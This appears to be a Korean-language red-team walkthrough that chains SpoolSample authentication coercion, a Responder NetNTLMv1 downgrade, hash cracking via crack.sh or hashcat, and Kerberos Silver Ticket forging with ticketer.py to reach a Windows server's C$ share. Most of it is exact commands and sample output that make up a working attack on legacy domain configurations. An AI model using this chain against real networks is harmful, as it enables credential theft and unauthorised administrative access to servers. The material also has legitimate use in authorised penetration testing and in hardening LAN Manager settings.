
SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
이 기술은 다른 사람들이 암시한 바 있지만, 지금까지 통합된 내용은 본 적이 없습니다. 아래에서는 NetNTLMv1 Challenge/Response 인증을 획득하고, 이를 NTLM 해시로 크랙한 후, 해당 NTLM 해시를 사용하여 Kerberos Silver Ticket에 서명하는 단계를 설명합니다.
이 방법은 "LAN Manager authentication level"이 2 이하로 설정된 네트워크에서 작동합니다. 이는 오래되고 큰 Windows 배포에서 상당히 흔한 시나리오입니다. Windows 10 / Server 2016 이상에서는 작동하지 않아야 합니다.
@tifkin_'s (Lee Christensen's) SpoolSample을 통해 머신 계정의 NetNTLMv1 응답 획득
해당 NetNTLMv1 응답을 @0x31337's (David Hulton's) Rainbow Tables를 사용하여 NTLM 해시로 크랙
새로 획득한 NTLM 해시를 사용하여 @agsolino's (Albert Solino's) ticketer.py로 Silver Ticket 생성
Powershell을 사용하여 Windows 머신 목록을 가져옵니다. 서버가 일반적으로 우선순위이므로 서버에 집중합시다:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
약간 수정된 @mysmartlogin's (Vincent Le Toux's) SpoolerScanner를 사용하여 Spooler 서비스가 수신 중인지 확인합니다.
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Linux에서 rpcdump.py를 사용하여 MS-RPRN 프로토콜을 찾을 수도 있습니다.
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
또는 Linux를 사용 중이라면 3xocyte의 dementor.py를 사용하세요.
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
예시 응답:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Rainbow Tables 세트를 사용하여 NTHASH를 NTLM으로 역산하거나, DES 구성 요소로 분해한 후 hashcat으로 크랙할 수 있습니다. 8x 1080 장비로 약 6일 안에 무차별 대입(brute force)할 수 있으므로 Rainbow Tables를 고려하세요.
Rainbow Tables의 경우, https://crack.sh/netntlm/에서 호스팅되는 서비스가 NetNTLMv1로부터 NTLM을 무료로 복구해줍니다. 이 서비스는 Toorcon의 David Hulton이 제공합니다. 우리는 룩업에 FPGA가 필요 없는 로컬 복사본과 소프트웨어를 작업 중입니다.
crack.sh의 경우 형식은 NTHASH:(response)이며, 예시에서는 NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972입니다.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
다음과 같은 지침과 함께 출력을 반환합니다:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
이를 위해 몇 가지 정보가 필요합니다: 접근하려는 서비스의 SPN, 도메인 SID, 로컬 관리자 권한이 있는 도메인 사용자 계정 SID 및 계정 이름, 그리고 그룹 기반 로컬 관리자인 경우 사용자가 속한 도메인 그룹입니다.
서비스의 경우 가장 일반적인 것은 cifs/이며, 이는 HOST/ 서비스로 매핑됩니다.
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
6TB Rainbow Tables 배포
FPGA가 필요 없도록 @0x31337의 desrtop 수정
원격으로 머신 계정 인증을 트리거하는 추가 방법 식별